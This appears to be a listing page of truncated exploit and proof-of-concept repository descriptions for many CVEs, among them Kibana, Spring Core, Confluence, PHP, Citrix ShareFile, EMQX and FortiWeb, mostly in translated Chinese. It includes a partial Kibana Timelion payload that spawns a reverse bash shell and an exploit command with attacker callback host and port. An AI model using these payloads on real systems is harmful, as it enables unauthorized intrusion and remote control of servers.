CVE-2019-7609

CVE-2019-7609 Kibana-7609 的 Docker 实验室设置 参考：https://github.com/mpgn/CVE-2019-7609 root@kitploit: 打开 Kibana 将以下其中一个 payload 粘贴到 Timelion 可视化工具中 点击运行 在左侧面板中点击 Canvas 你的反弹 Shell 应该会出现！: payload 由 @securityMB 提供 .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework 远程命令执行漏洞（CVE-2022-22965） Spring-Core-RCE堪比关于 Apache Log4j2核弹级别漏洞exp的rce一键利用 概述 近日，Spring 官方 GitHub issue中提到了关于 Spring Core 的远程命令执行漏洞，该漏洞广泛存在于Spring 框架以及衍生的框架中。 漏洞描述 Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包，是一个包含Spring框架基本的核心工具包，Spring其他组件都要使用到这个包。...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure 中间人研究 发布日期 与厂商联合发布日期：2020年10月26日 作者 David Kierznowski, @withdk 致谢 Sahil Mahajan，来自 Pulse Secure PSIRT 团队，在整个披露过程中给予支持。 Alyssa Herrera、Justin Wagner、Mimir 和 Rich Warren，感谢他们的文章《红队人员 Pulse Secure SSL VPN 指南》——Alyssa Herrera（2019年9月4日）。 SA 红队（SA Red...

confluence-rce-poc

confluence-rce-poc 为 CVE-2021-26084 Docker 设置 POC 将官方 docker-entrypoint.sh 提供给 postgres，根据需要更改数据库用户名和密码...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS 是由多伦多大学开发的用于在线编程练习的 Web 应用。 参见 Bitbucket 仓库： https://bitbucket.org/utmandrew/pcrs/src/3.11/ 摘要 PCRS 的“问题”（Questions）页面（包含代码提交功能）和“代码编辑器”（Code editor）页面存在通过逃逸 Python 沙箱实现远程代码执行（RCE）的漏洞。 详情 在 PCRS 实例中，可通过使用生成器对象实现远程代码执行。通过使用生成器帧（giframe）和 fback，脚本可以穿越沙箱栈帧，在非沙箱环境中执行恶意代码。此外，Unicod...

HG532d-RCE-Exploit

HG532d RCE Exploit Overview A Remote Code Execution RCE exploit based on CVE-2017-17215 vulnerability. Modded from original PoC code from exploit-db.com to work on Huawei HG532d Home Gateway Routers. Description This RCE exploit is based on CVE-2017-17215 which exploits vulnerabilities in the UPn...

CVE-2026-84437

A vulnerability was found in OpenCart 4.1.0.3/4.1.0.4. The impacted element is an unknown function of the file catalog/controller/account/address.php of the component Autocomplete Workflow. The manipulation of the argument address1 results in cross site scripting. It is possible to launch the...

CVE-2026-84438

A vulnerability was determined in OpenCart 4.1.0.3/4.1.0.4. This affects an unknown function of the file catalog/controller/account/edit.php of the component Autocomplete Workflow. This manipulation of the argument firstname causes cross site scripting. The attack can be initiated remotely. The...

CVE-2026-84484

ION-DTN versions before 4.2.0 contain an out-of-bounds read vulnerability in the decodeSdnv function that allows unauthenticated remote attackers to read memory by sending truncated SDNV values. Attackers can send a UDP datagram to the LTP link service input port with a truncated SDNV to trigger...

CVE-2024-4577

这是 CVE-2024-4577 的 POC 该漏洞利用允许攻击者在以下 PHP 版本中执行 RCE PHP 8.3 8.3.8、PHP 8.2 8.2.20、PHP 8.1 8.1.29 参数可查看代码！ 要了解更多关于此漏洞的详细信息，请查看 nist.gov。...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 漏洞利用：通过 OGNL 注入实现 Confluence 预认证远程代码执行 OGNL 领域中的又一个漏洞利用 描述 Confluence 是由澳大利亚软件公司 Atlassian 开发的基于 Web 的企业维基系统。 2022 年 6 月 2 日，Atlassian 针对其 Confluence Server 和 Data Center 应用发布了一份安全公告，强调了一个严重级别的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。 环境搭建 要搭建实验环境，请...

CVE-2020-27955-LFS-main

Git-lfs 远程代码执行（RCE）漏洞利用 CVE-2020-27955（.bat / powershell 版本） 受影响：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等。 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在 Windows 上测试： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2026-84441

Piwigo versions up to 16.3.0 are affected by a path traversal vulnerability in the Image Derivative Handler component, specifically in the file i.php . The vulnerable functionality is described as unknown, but manipulation of it allows an unauthenticated remote attacker to traverse the filesystem...

EUVD-2026-69819

A security vulnerability has been detected in Piwigo up to 16.3.0. Affected by this issue is some unknown functionality of the file i.php of the component Image Derivative Handler. The manipulation leads to path traversal. Remote exploitation of the attack is possible. The exploit has been...

CVE-2026-84441 Piwigo Image Derivative i.php path traversal

A security vulnerability has been detected in Piwigo up to 16.3.0. Affected by this issue is some unknown functionality of the file i.php of the component Image Derivative Handler. The manipulation leads to path traversal. Remote exploitation of the attack is possible. The exploit has been...

CVE-2023-24489-poc

CVE-2023-24489-poc 使用 bash 实现的 CVE-2023-24489 的 POC。 它需要一个包含要测试的目标列表的 target.txt 文件，格式如下： https://example1.com https://example2.com https://example3.com 该文件必须与 bash 脚本位于同一目录下。 请谨慎使用！ 参考资料：https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE الطريقة الأصلية للاستغلال تعتمد على رفع إضافة EMQX، وإضافة استدعاء وحدة Erlang os في قالب كود الإضافة لتنفيذ أوامر النظام والحصول على RCE في بيئة متصلة بالإنترنت، حيث توجد أداة curl افتراضيًا، يمكن مباشرة استخدام curl...

CVE-2026-22812-POC

Explotador OpenCode CVE-2026-22812 Herramientas Python simples para verificar y explotar la vulnerabilidad de OpenCode CVE-2026-22812. Instalación root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257 检测工件生成器 技术细节请参阅我们的博客文章 https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 检测演示 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost 192.168.8.148 --lport 1350 ...